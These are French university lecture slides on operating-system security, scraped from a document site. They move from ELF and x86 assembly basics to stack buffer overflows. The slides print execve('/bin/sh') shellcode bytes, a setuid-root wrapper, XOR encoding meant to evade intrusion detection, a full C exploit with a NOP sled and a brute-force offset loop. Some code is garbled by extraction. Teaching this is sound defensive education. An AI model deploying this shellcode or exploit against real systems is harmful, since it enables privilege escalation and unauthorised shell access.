• Aucun résultat trouvé

S´ecurit´e des Syst`emes d’Exploitation : cours 2

N/A
N/A
Protected

Academic year: 2022

Partager "S´ecurit´e des Syst`emes d’Exploitation : cours 2"

Copied!
65
0
0

Texte intégral

(1)

S´ecurit´e des Syst`emes d’Exploitation : cours 2

Fr´ed´eric Gava

Master ISIDIS, Universit´e de Paris-Est Cr´eteil

Cours S´ecurit´e du M2 ISIDIS

(2)

Plan

1 Programmation bas niveau

2 Principe du buffer-overflow

3 Fabriquer un shellcode

4 Faire l’exploit

(3)

Plan

1 Programmation bas niveau

2 Principe du buffer-overflow

3 Fabriquer un shellcode

4 Faire l’exploit

(4)

Plan

1 Programmation bas niveau

2 Principe du buffer-overflow

3 Fabriquer un shellcode

4 Faire l’exploit

(5)

Plan

1 Programmation bas niveau

2 Principe du buffer-overflow

3 Fabriquer un shellcode

4 Faire l’exploit

(6)

D´eroulement du cours

1 Programmation bas niveau

2 Principe du buffer-overflow

3 Fabriquer un shellcode

4 Faire l’exploit

(7)

G´en´eralit´es (1)

L’analyse de fichier binaire est une connaissance importante pour toute personne souhaitant accroitre ses connaissances en securite informatique car :

elle permet de connaitre comment fonctionne un programme de ”l’exterieur” sans en avoir les sources.

un attaquant laisse des traces, souvent dans les binaires

(8)

G´en´eralit´es (2)

Plusieurs types d’analyses :

l’analyse statique (gdb, asm2C, code source) et dynamique (sniffers reseaux, tracers, VM)

black-box : Cette technique permet d’etudier un programme sans connaitre sont fonctionnement interne, juste en regardant comment il reagit et quels sont les resultats des differentes entrees et sorties.

post-mortem : On regarde simplement les resultats de l’execution du programme, comme les differents logs, les changements dans les fichiers, dans la date d’acces des fichiers, les donnees que l’on peut retrouver dans la memoire...

Programmation bas niveau ≡assembleur

(9)

Les ex´ecutables (1)

Les ex´ecutables sur un syst`eme GNU/Linux sont au format ELF (Executable and Linking Format). Ce format est d´ecoup´e en plusieurs parties :

Un header qui contient l’offset des deux parties suivantes et des informations int´eressantes pour le syst`eme sur le programme.

Un program header table qui contient la liste des segments du fichier ex´ecutable.

Un section header table qui contient la liste des sections du fichier ex´ecutable.

Les donn´ees r´ef´erenc´ees par les ´el´ements pr´ec´edents.

(10)

Les ex´ecutables (1)

(11)

Les ex´ecutables (2)

Nous avons :

Une section peut contenir du code ex´ecutable, des donn´ees, des donn´ees de liaison, des donn´ees de d´ebugging, des tables de symboles, des informations de relocation, des

commentaires, etc.

Les segments, quant `a eux, sont un groupe de sections apparent´ees. Par exemple, le segment de texte regroupe le code ex´ecutable, le segment de donn´ees encapsule les donn´ees du programme, et le segment dynamic regroupe les

informations n´ecessaires au chargement.

(12)

Les ex´ecutables (2)

(13)

Chargement

Lors du chargement, chaque segment est charg´e et interpr´et´e : le syst`eme d’exploitation recopie les segments du fichier dans la m´emoire virtuelle, `a partir des informations donn´ees dans l’en-tˆete du programme. L’espace virtuel :

L’espace adressable utilisateur pour le premier est situ´e dans l’intervalle 0x00000000 : 0xBFFFFFFF

l’espace adressable pour le noyau est situ´e dans l’intervalle 0xC0000000 : 0xFFFFFFFF

Les ex´ecutables au format ELF sont charg´es `a partir de l’adresse virtuelle 0x08048000 appel´ee adresse de base.

(14)

Organisation de l’espace utilisateur (1)

On trouve (mais pas que) les sections : .text qui contient le code du programme.

.data qui contient les donn´ees globales initialis´ees.

.bss qui contient les donn´ees globales non initialis´ees.

.stack qui est la pile du programme (construite de bas en haut et donc des adresses les plus hautes aux plus petites)

(15)

Organisation de l’espace utilisateur (1)

(16)

Organisation de l’espace utilisateur (2)

char a; // ==>.bss

char b[] = ”b”; // ==>.data int main()

{

char c;// ==>.stack static chard; // ==>.bss

static chare[] = ”e”;// ==>.data char ∗var6; // ==>.stack

var6 = malloc(512); // ==>.heap return0;

}

(17)

Organisation de l’espace utilisateur (3)

heap2$ size -A -x /bin/ls section size addr

.interp 0x13 0x80480f4

.note.ABI-tag 0x20 0x8048108 .hash 0x258 0x8048128

.dynsym 0x510 0x8048380 .dynstr 0x36b 0x8048890 ...

On peut aussi faire ”readelf -e ou ”objdump -h”

(18)

Les registres (1)

Les registres a but general : eax, ebx ,ecx ,edx, edi, esi.

Les registres speciaux : ebp, esp, eip, eflags.

Certains de ces derniers registres peuvent ˆetre utilises comme des

”general purpose register” mais il sont plus rapides pour certaines op´erations c’est pour cela qu’on les nomme ”special purpose register”. De meme certains registres communs ou ‘general purpose register‘ peuvent ˆetre dans certains cas utilis´es comme registres sp´eciaux car certaines instructions en sont d´ependantes, c’est a dire que l’instruction n´ecessite la pr´esence de ces variables dans certains registres.

(19)

Les registres (2)

Exemple :

---%eax--- ______________________________________________________________

| | | | |

| | | %ah | %al |

| | | | |

| | | | |

|_______________|_______________|______________|_____________|

---%ax---

%eax est un dword soit 4 bytes, %ax est le least significant half de eax (la partie basse de eax), il est utilis´e pour traiter deux bytes.

%al est le LSB (least significant Byte) de %ax il est utilise pour traiter un byte. %ah est le MSB (most significant Byte) de %ax il permet de modifier la partie haute de %ax.

(20)

Les registres (3)

Les principaux :

%eip (instruction pointer) : pointeur vers la prochaine instruction `a ex´ecuter.

%ebp (base pointer) : pointeur de base. Son rˆole est de placer un rep`ere permettant d’acc´eder facilement aux arguments de la fonction et/ou aux variables locales.

%esp (stack pointer) : pointeur vers le prochain emplacement libre de la pile.

(21)

Les instructions (1)

Liste basique d’instructions utiles a la compr´ehension d’un programme en assembleur est courte.

D´eplacement dans la m´emoire :

mov : Permet de d´eplacer le contenu d’un registre dans un autre

lea : Permet de d´eplacer la valeur pointee a un emplacement m´emoire donne dans un registre

push : Ajoute une valeur sur la pile et decremente la stack pop : Extrait une valeur de la stack et incr´emente la stack Instructions arithmetiques :

add, sub, mul, div : Modifie la valeur a un registre inc : Incr´ementation unitaire d’un registre

dec : Decrementation unitaire d’un registre

(22)

Les instructions (2)

Instructions de contrˆole : cmp : Compare deux registre call : Appelle une fonction

int : Demande d’interruption logicielle ret : Retour a la fonction appelante jmp (jump !)

je (jump if equal), jne (jump if not equal), jg (jump if greater) (jump if second value is greater)

jge (jump if greater or equal), jl (jump if less), jle (jump if less or equal)

Instructions logiques : and, or, xor, not nop : ne fait rien (x90)

(23)

Les instructions (3)

Le typage : comme nous l’avons vu pr´ec´edemment, un registre peut ˆetre d´ecoupe pour que l’on utilise 4, 2 ou 1 Byte. Les

instructions vues pr´ec´edemment peuvent etre suffixee pour sp´ecifier le nombre de byte a utiliser. Par exemple pour mov : movb (utilise qu’un seul byte : movb $0xFF, %al), mov ou movw (utilise 2 bytes ou un word (16 Bits) : mov $0xFFFF, %ax), movl (utilise 4 bytes ou un dword (double word, 32 Bits) : mov $0xFFFFFFFF, %eax).

(24)

Acc`es `a la m´emoire

Immediate mode (valeur directe precedee d’un $) : mov $42,

%eax

Register addressing mode (contenu d’un registre) : mov %ebx,

%eax

Indirect addresing mode (valeur pointee par registre) : mov (%eax), %ecx

Direct addressing mode : mov 0x4242, %ebx (mov $0x15552,

%eax mov (%eax), %ebx)

Indexes addressing mode (adresse calculee) : le multiplier repr´esente en general la taille d’une variable et l’index permet d’avancer dans le tableau situe a l’adresse de base,

Address or offset(%base or offset, %index, %multiplier) : movl string start(%ecx,1), %eax

Base pointer addresing mode (equivalent a l’indirect

(25)

Appel de fonction (1)

Chaque fonction va demander le placement d’un ensemble

d’´el´ements sur la pile. Cet ensemble est compos´e des arguments de la fonction, de certaines informations relatives `a la fonction

appelante (sauvegarde des registres %eip et %ebp), et enfin, des variables locales. Un protocole d´efinis l’appel d’une fonction. Ex.

pour foo(5,6), on va avoir :

push $0x6 ; Ajout du dernier argument push $0x5 ; Ajout du premier argument

call 0xadresse <foo> ; Adresse hexad´ecimale de la fonction

; `a appeller

add $0x8,%esp ; Retrait des variables de la pile

; (2 mots de 4 bytes)

(26)

Appel de fonction (2)

(27)

Appel de fonction (2)

L’instruction call sauvegarde sur la pile le registre %eip. Une instruction call est donc ´equivalente `a :

push %eip

jmp 0xadresse <foo>

(28)

Appel de fonction (3)

Une fonction est compos´ee d’un prologue (mettre en place le cade de la fonction) et d’un ´epilogue. Au prologue : sauvegarder sur la pile le pointeur de base de la fonction appelante, en initialisant son propre pointeur de base, en allouant assez d’espace sur la pile pour ses variables locales et, ´eventuellement, en sauvegardant les

registres qu’elle va utiliser dans le but de sauvegarder les donn´ees de la fonction appelante. Ex :

int foo(inta, int b){ intc = a;

intd = b;

returnc;}

push %ebp ; Sauvegarde du registre %ebp de l’appelant mov %esp,%ebp ; Initialisation du %ebp de la fonction

(29)

Appel de fonction (4)

L’´epilogue permet de pr´eparer le retour `a la fonction appelante en restaurant les registres sauv´es, en d´esallouant les variables locales, en restaurant le pointeur de base de la proc´edure appelante et en chargeant dans le registre %eip l’adresse de l’instruction de la fonction appelante `a ex´ecuter.

pop %eax; Restauration du registre %eax

leave ; D´esallocation des variables locales

; et restauration de %ebp

ret ;retour `a la proc´edure appelante en changeant %eip Remarque : les instructions leave et ret sont ´equivalentes aux

instructions suivantes : mov %ebp,%esp ; leave pop %ebp ; leave

(30)

D´eroulement du cours

1 Programmation bas niveau

2 Principe du buffer-overflow

3 Fabriquer un shellcode

4 Faire l’exploit

(31)

G´en´eralit´es (1)

Le principe de l’attaque par buffer overflow est de faire ex´ecuter un code malveillant `a un programme en ´ecrasant dans la pile certaines donn´ees d’ex´ecution du programme `a cause d’une non v´erification des longueurs de String. Prenons cet exemple :

#include<stdio.h>

#include<string.h>

voidfoo(char∗string);

int main(intargc,char∗∗argv){ if(argc>1)

foo(argv[1]);

return0;}

voidfoo(char∗string){ charbuffer[256];

strcpy(buffer, string);}

(32)

G´en´eralit´es (2)

foo ≡ push %ebp mov %esp,%ebp

sub $0x108,%esp ; 0x108 = 264

D´epassons les 264 octets allou´e jusqu’`a ´ecraser le registre %eip de la fonction appelate de telle mani`ere que, lorsque l’instruction ret sera ex´ecut´ee, le programme sera redirig´e vers notre code

malveillant. Mais c’est plus facile `a dire qu’`a faire (impossible directement sur des machines modernes). Remarque : en C et comme dans bcp de langage, les string se termine par le caract`ere null ”/0”

(33)

G´en´eralit´es (3)

(34)

Plantage (1)

$ ulimit -c unlimited

$ ./a.out ‘perl -e ’print "A"x267’‘

$ Segmentation fault (core dumped)

$ gdb -c core ...

Core was generated by ‘./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA’.

Program terminated with signal 11, Segmentation fault.

#0 0x080483de in ?? ()

Erreur `a l’instruction 0x080483de. Regardons le code ASM du main

(35)

Plantage (2)

$ gdb ./a.out ...

disassemble main

0x080483a4 <main+0>: push %ebp 0x080483a5 <main+1>: mov %esp,%ebp 0x080483a7 <main+3>: sub $0x8,%esp ...

0x080483cf <main+43>: pushl (%eax)

0x080483d1 <main+45>: call 0x80483e0 <foo>

0x080483d6 <main+50>: add $0x10,%esp 0x080483d9 <main+53>: mov $0x0,%eax 0x080483de <main+58>: leave

0x080483df <main+59>: ret

On trouve leave `a 0x080483de. Avec notre d´ebordement, le registre

%ebp contient la valeur 0x00414141 (des A en hexa) et donc un saut faire cette adresse est interdit (trop en dessous). Maintenant,

(36)

Plantage (3)

$ gdb -c core ...

Core was generated by ‘./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA’.

Program terminated with signal 11, Segmentation fault.

#0 0x41414141 in ?? ()

Car on a tent´e d’ex´ecuter l’instruction `a l’adresse 0x41414141. On peut donc rediriger notre code vers... bah un peut tout si on a la place.

(37)

Plantage (4)

...

Core was generated by ‘./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program terminated with signal 11, Segmentation fault.

#0 0x41414141 in ?? ()

L’utilitaire gdb nous indique que le programme a ´et´e arrˆet´e `a cause d’une erreur de segmentation lorsque l’instruction `a l’adresse 0x41414141 a tent´e d’ˆetre ex´ecut´ee. Nous avons pu rediriger le programme vuln´erable `a l’adresse de notre choix⇒ faire ex´ecuter ce que nous voulons, un shell car ainsi, les commandes qui y seront lanc´ees, le seront avec les privil`eges du programme vuln´erable (si SUID root alors shell root, mais pas obligatoire, on peut

s’augmenter les droit artificiellement).

Le but du programme d’exploit est d’ injecter ce que l’on appele le payload dans le code vuln´erable. Le payload est une chaˆıne

(38)

Ne fonctionne plus aussi simplement... (1)

”H´elas”, cette attaque ne fonctionne plus pour plusieurs raisons : GCC introduit de base des canaries (petit bout de code hexa `a la suite des buffers qui prot`ege les vrai instructions) pour proteger le code (compiler avec l’option -fno-stack-protector) et a des options pour prot´eger au mieux la pile :

-fstack-protector-all

la pile n’est plus ex´ecutable (ubuntu ¿10) ⇒le buffer-overflow doit se faire sur le heap (plus dure `a mettre en oeuvre) les firewall recherchent (pas toujours bien) les codes

malveillants dans les chaines de caract`ere en hexa (on peut les bluffer)

technique tr`es connu et de plus en plus corrig´ee

les derni`ere versions des shells bash et tcsh, quand ils sont appel´es, v´erifient si l’uid du processus est ´egal `a son euid et si

(39)

Ne fonctionne plus aussi simplement... (2)

Pour augmenter ces privil`eges, On peut faire setuid avant d’appeler le shell. Voici le code d’un tel wrapper :

#include<unistd.h>

main(){char∗name[]={”/bin/sh”,NULL};

setuid(0);setgid(0); execve(name[0], name, NULL);}

En HEXA, pour les shellcode :

"\x33\xc0\x31\xdb\xb0\x17\xcd\x80"

(40)

D´eroulement du cours

1 Programmation bas niveau

2 Principe du buffer-overflow

3 Fabriquer un shellcode

4 Faire l’exploit

(41)

Premier shellcode (1)

Normalement, on les trouve tout fait sur Internet (homon´egisation des archis des serveurs). Mais voyons comme faire nous mˆeme : int main()

{

printf(”Hello World !”);

}

Cela donne :

$ gcc -static -o helloworld helloworld.c

$ strace ./helloworld ...

write(1, "Hello World !", 13Hello World !) ...

On peut remplacere le printf par write(1,”...”,13). Il est parfois

(42)

Premier shellcode (2)

$ more /usr/include/asm/unistd.h | grep write

Sinon ´editer le fichier pour voir les includes.

$ more /usr/include/asm-i386/unistd.h | grep write ...

#define __NR_write 4 ...

EAX va contenir le num´ero du syscall, soit 4 EBX va contenir le premier argument de write, 1.

ECX va contenir le deuxi`eme argument, soit l’adresse de la cha^ıne "Hello World !".

EDX va contenir la longueur de la cha^ıne

(43)

Premier shellcode (3)

Pour r´ecup´erer l’adresse d’une chaine, il faut d´eja la placer en m´emoire. Ensuite, il faut r´eussir `a trouver o`u elle est. Nous allons utiliser la technique du pop/call, d´ecrite par Pr1on dans Phrack.

Elle consiste, `a partir d’une adresse X, `a sauter sur une ´etiquette d’adresse Y, en dessous de laquelle figure un call vers l’instruction suivant X. Et en dessous de ce call se trouve notre chaˆıne.

Comment se passe la r´ecup´eration de l’adresse ? En fait, lors du Call, l’adresse de l’instruction suivante va ˆetre empil´ee, comme pour tous les call. Comme l’adresse suivante ets pr´ecis´ement l’adresse de notre chaˆıne, c’est gagn´e ! Il ne nous restera plus qu’a d´epiler l’adresse dans un registre, en l’occurence ECX. Voici un petit sch´ema illustratif :

[d´ebut du shellcode]

jmp chaine suite:

pop ecx

[suite et fin du shellcode]

chaine:

call suite

(44)

Premier shellcode (4)

Ecrivons maintenant le shellcode :

$ cat asm.s main:

xorl %eax,%eax //On met `a z´ero tous les registres, pour ´eviter les probl`emes xorl %ebx,%ebx

xorl %ecx,%ecx xorl %edx,%edx

movb $0x4,%al //On met al pour ´eviter les 0 dans les opcodes movb $0x1,%bl

jmp chaine ret:

popl %ecx movb $0xd,%dl int $0x80 chaine:

call ret

.string "Hello World !"

$ as -o asm.o asm.s

$ ld -o asm asm.o

(45)

Premier shellcode (5)

R´ecup´eron le code en hexa

$ objdump -d asm

eassemblage de la section .text:

08048074 :

8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 31 c9 xor %ecx,%ecx 804807a: 31 d2 xor %edx,%edx 804807c: b0 04 mov $0x4,%al 804807e: b3 01 mov $0x1,%bl 8048080: eb 05 jmp 8048087 ...

08048087 :

8048087: e8 f6 ff ff ff call 8048082

On recopie pour avoir :

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xeb\x05\x59\xb2\x01

\xcd\x80\xe8\xf6\xff\xff\xffHello World !

(46)

Tester le shellcode

Au choix :

intmain() {

charsh[] = ”...”

asm(”jmp %esp”);

return0;

}

ou

intmain() {

charsh[] = ”...”

int∗ret;

∗( (int∗) &ret + 2) = (int) sh;

}

Sur la pile, on trouve de bas en haut : l’adresse de retour de main, le contenu du registre EBP sauvegard´e par le prologue de main et la variable ret. &ret + 2 = &(adresse de retour de main).

(47)

Un vrai shellcode (1)

#include<stdio.h>

#include<unistd.h>

intmain() {

charparam[] ={”/bin/sh”, NULL};

execve(param[0], param, NULL);//execve est d´eja un appel syst`eme return0;

}

avec :

$ more /usr/include/asm/unistd.h | grep execve

#define __NR_execve 11

(48)

Un vrai shellcode (2)

main:

xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx

//On doit r´ecup´erer les arguments de execve : //ebx = "/bin/sh"

//ecx = tab = {"/bin/sh",0}

//edx = n˚3: 0

//De plus, eax = 11, le syscall //empile 0

push %edx

/On doit empiler ”/bin/sh”. Or on est sur la pile et sur une architecture x86. On doit donc empiler 4 octets par 4 octets, on rajoute donc un /. De plus on doit empiler `a l’envers, de la fa¸con suivante :

dans le sens ”4 derniers octets puis 4 premiers octets”

dans le sens ”tous les octets sont invers´es”

(49)

Un vrai shellcode (3)

//on r´ecup`ere l’adresse de la cha^ıne mov %esp,%ebx

//empile 0 push %edx

//empile l’adresse de l’adresse de la cha^ıne (c’est `a dire tab) push %ebx

On a donc une pile qui ressemble `a

(50)

Un vrai shellcode (4)

+---+

| //bin/sh |<-+

+---+ |

| edx = 0 | |

+---+ | +->| ebx = addr chaine |--+

| +---+

| | 0 |

| +---+

+--| ecx = addr addr chaine | +---+

(51)

Un vrai shellcode (5)

//on r´ecup`ere l’adresse de tab mov %esp,%ecx

//ex´ecute l’interruption mov $11,%al

int $0x80

et on fait comme avant... On obtient :

char sh[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"

"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

(52)

Shell-code am´elior´e

Le pb est que bcp d’IDS detectent ce genre de chaines (surtout celles qu’on peut trouver sur le web). Pour les biaiser, une premi`ere solution est d’utiliser des ´equivalences de code :

movl $0x0, %eax ==> xorl %eax,%eax movb $0x0,0x7(%esi) ==> xorl %eax,%eax molv $0x0,0xc(%esi) ==> movb %eax,0x7(%esi)

movl %eax,0xc(%esi) movl $0xb,%eax ==> movb $0xb,%al movl $0x1, %eax ==> xorl %ebx,%ebx movl $0x0, %ebx ==> movl %ebx,%eax

inc %eax

Mais les IDS regarde plus simplement si /bin/sh est pr´esent ou non...

(53)

Cryptage

Cr´eer un module de d´ecryptage qui sera int´egr´e au shellcode. Le plus simple ”xor” (faire table de v´erit´e) : si deux bits sont de valeurs diff´erentes le r´esultat sera 1, et si ils ont la meme valeur ce sera 0 ⇒utilisation d’une cl´es. P. ex. 16 : 45 xor 16=61 et 61 xor 16 = 45. Encryptons de cette sorte la chaine du shellcode. Code ASM pour le decryptage :

jmp code suite:

pop %esi xorl %eax, %eax decr:

cmp %al, (%esi) je execute xorl $25, (%esi) add $1, %esi jmp decr code:

call suite execute:

.string ""

(54)

D´eroulement du cours

1 Programmation bas niveau

2 Principe du buffer-overflow

3 Fabriquer un shellcode

4 Faire l’exploit

(55)

Un d´eni de service sans boucle ! (1)

Il n’y a rien de plus ´enervant qu’un serveur qui ne r´epond pas `a cause de d´eni de service. Voyons comment ´ecrire un programme C sans boucle/r´ecursivit´e qui boucle...

#include<stdio.h>

#include<string.h>

voidfoo(void);

int main(){foo();return0;}

voidfoo(void){charbuffer[32];}

Faisons en sorte d’´ecraser la sauvegarde du registre %eip de la fonction main dans le cadre de la fonction foo. Cette sauvegarde sera ´ecras´ee par l’adresse de l’instruction call faisant un

branchement vers la fonction foo dans main. Ainsi, `a la premi`ere ex´ecution du programme : La fonction main fait un branchement vers la fonction foo ; lorsqu’il est rempli, le buffer ´ecrase la sauvegarde de %eip puis retour `a la fonction main.

(56)

Un d´eni de service sans boucle ! (2)

Il suffit de d´eclarer un pointeur `a l’entr´ee de notre buffer,

d’incr´ementer ce pointeur jusqu’`a ce qu’il arrive au premier byte de la sauvegarde du registre %eip et de remplacer cette sauvegarde avec l’adresse de l’instruction call de la fonction appelante.

Dump of assembler code for function main:

0x08048404 <+0>: push %ebp 0x08048405 <+1>: mov %esp,%ebp 0x08048407 <+3>: and $0xfffffff0,%esp 0x0804840a <+6>: call 0x8048418 <foo>

0x0804840f <+11>: mov $0x0,%eax 0x08048414 <+16>: mov %ebp,%esp 0x08048416 <+18>: pop %ebp 0x08048417 <+19>: ret

L’adresse recherch´ee est 0x0804840a (non modifi´e `a la compilation). Modifions alors le code

(57)

Un d´eni de service sans boucle ! (3)

#include<stdio.h>

#include<string.h>

voidfoo(void);

int main(){foo();return0;}

voidfoo(void){

/∗Allocation : 56 bytes (0x38)∗/

charbuffer[32];

char∗workPtr = (char∗)&buffer;

workPtr += 48;//−8 bytes pour passer %ebp

∗((long∗)workPtr) = 0x08048390;// long = 64 bits = 8 bytes }

(58)

Ecriture d’un exploit (1)

L’´ecriture d’un exploit peut-ˆetre une chose tr`es difficile (pour les

”pro”) comme une chose tr`es simple. Ici, nous prendrons notre exemple simple :

include<stdio.h>

#include<string.h>

voidfoo(char∗string);

intmain(intargc,char∗∗argv){ if(argc>1)

foo(argv[1]);

return0;}

voidfoo(char∗string){ charbuffer[256];

strcpy(buffer, string);}

2 grandes difficult´es sont rencontr´ees dans l’´ecriture d’un exploit : (1) La g´en´eration du payload. (2) la connaissance de l’adresse du shellcode dans la m´emoire. Ces deux probl`emes se rejoignent lors

(59)

Ecriture d’un exploit (2)

Commen¸cons par la g´en´eration du payload. Celui-ci doit se trouver dans un buffer de la taille :

Taille(payload) =Taille(Buffersur la pile) + 2×(4 ou8) + 1 2*4 (ou 8 pour 64 bytes) repr´esente la taille de la sauvegarde des registres %ebp et %eip `a ´ecraser, et le dernier byte ajout´e `a la fin, le caract`ere /0 de fin de chaˆıne. Pour notre programme vuln´erable, la taille du payload sera donc de 264 + 8 + 1 = 273. qui aura la forme suivante :

Si le payload ´etait uniquement compos´e du shellcode sans

instructions nop, il faudrait ˆetre extrˆemement pr´ecis dans l’adresse

(60)

Ecriture d’un exploit (3)

Pour rechercher l’adresse de retour, nous allons utiliser une instruction assembleur incluse dans notre exploit en C afin de r´ecup´erer la valeur du registre %esp. En effet, grˆace au m´ecanisme de m´emoire virtuelle et au format ELF , nous savons que notre buffer vuln´erable ne sera pas tr`es loin de l’adresse contenue dans ce registre. Notre exploit prendra un argument. Cet argument sera un offset `a additionner `a la valeur du registre %esp r´ecup´er´ee afin de remonter dans la pile du programme vuln´erable pour tenter de retrouver le shellcode.

(61)

Ecriture d’un exploit (4)

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

#include<unistd.h>

#defineNOP 0x90 longgetESP(void);

intmain(intargc,char∗∗argv){ charshellcode[] = ”...”;

charbuffer[273];

char∗ptr = (char∗)&buffer;

inti;

for(i = 0; i<268strlen(shellcode); i++, ptr++)∗ptr = NOP;

for(i = 0; i<strlen(shellcode); i++, ptr++)∗ptr = shellcode[i];

intoffset = atoi(argv[1]);

longesp = getESP();

longret = esp + offset;

printf(”ESP Register : 0x%x\n”, esp);

printf(”Offset : %i\n”, offset);

printf(”Address : 0x%x\n”, ret);

∗(long∗)ptr = ret;

ptr += 4;

∗(char∗)ptr = ’\0’;

execl(PATH, ”vuln”, buffer, NULL);

}

(62)

Ecriture d’un exploit (5)

Un dernier probl`eme se pose : l’estimation de l’offset. Voici un petit programme en bash qui fait un brute-force pour le trouver :

$ A=-1; while [ 1 ]; do A=$((A+1)); ./a.out $A; done ESP Register : 0xbfe031b8

Offset : 0

Address : 0xbfe031b8 Segmentation fault ESP Register : 0xbf90ad18

Offset : 1

Address : 0xbf90ad19 Segmentation fault ESP Register : 0xbfdeb1f8

Offset : 2

Address : 0xbfdeb1fa Segmentation fault ESP Register : 0xbf8e44f8

Offset : 3

Address : 0xbf8e44fb sh-3.1$

Victoire !

(63)

Un exemple rigolo (1)

Une faille dans le navigateur Mozilla Firefox 2.0.0.16. Cette faille

´etait connue et d´ecrite dans la CVE-2008-0016, et affectait aussi les logiciels Thunderbird 2.0.0.17 et SeaMonkey 1.1.12. Le probl`eme se situait au niveau de l’implantation du parseur d’URL qui permetait `a un pirate d’ex´ecuter du code arbitraire via un lien dont l’adresse ´etait encod´ee en UTF-8, sous

ConvertUTF8toUTF16 : :write()qui copie la chaˆıne via une boucle dont le code v´erifie que la fin de l’espace allou´e n’est pas atteind.

constvalue type∗p = start;

constvalue type∗end = start + N;

for( ; p != end; ){ charc =∗p++;

// ...

while( state−−){ c =∗p++;// bug!

Lors de l’incr´ementation de p, dans la boucle imbriqu´ee, il n’y a en

(64)

Un exemple rigolo (2)

L’exploit (pour Windows XP pack 3) se composait alors d’un serveur HTTP qui, lorsqu’il est contact´e par un navigateur internet, envoie une page HTML encod´ee en UTF-8 contenant un lien dont l’URL est termin´ee par un caract`ere multi-byte avec un shellcode. Dans l’attaque, il y avait un ”egghunter” qui se chargait de rechercher un pr´efixe reconnaissable dans la m´emoire et

d’amener le registre %eip `a l’adresse du code malveillant (sous la forme de la page HTML). Il s’agit donc de localiser en m´emoire le code `a ex´ecuter, et d’y faire pointer le registre %eip.

(65)

A la semaine prochaine

Références

Documents relatifs

[r]

Nous avons pour les syst` emes diff´ erentiels un th´ eor` eme de Cauchy-Lipschitz, en tout point semblable ` a celui ´ enonc´ e pour les ´ equations diff´ erentielles :.. Th´ eor`

Nous avons pour les syst` emes diff´ erentiels un th´ eor` eme de Cauchy-Lipschitz, en tout point semblable ` a celui ´ enonc´ e pour les ´ equations diff´ erentielles :.. Th´ eor`

Dans le chapitre suivant nous donnerons une preuve du th´ eor` eme 2.10 dans le cas n = 2, pour des syst` emes homog` enes autonomes.. Nous montrerons le th´ eor` eme dans toute sa

- On peut ainsi assigner une valeur au pointeur de fonction, le passer à une fonction, le retourner d’une fonction et, finalement le ranger dans un

Dans le cadre de sa compétence touristique, la collectivité gère le site de baignade du contre- réservoir de Grosbois-en-Montagne (21540), pour lequel elle a signé une

Apr`es red´emarrage sain, on peut rechercher le fichier de log du sniffer (fichier contenant des adresses IP connues, mais c’est parfois chiffr´e), la pr´esence d’un binaire

D’une mani`ere g´en´erale, il faut ´ecraser l’adresse qui se situe quatre octets apr`es le d´ebut de la section (le 0xffffffff) pour que notre fonction soit ex´ecut´ee en premier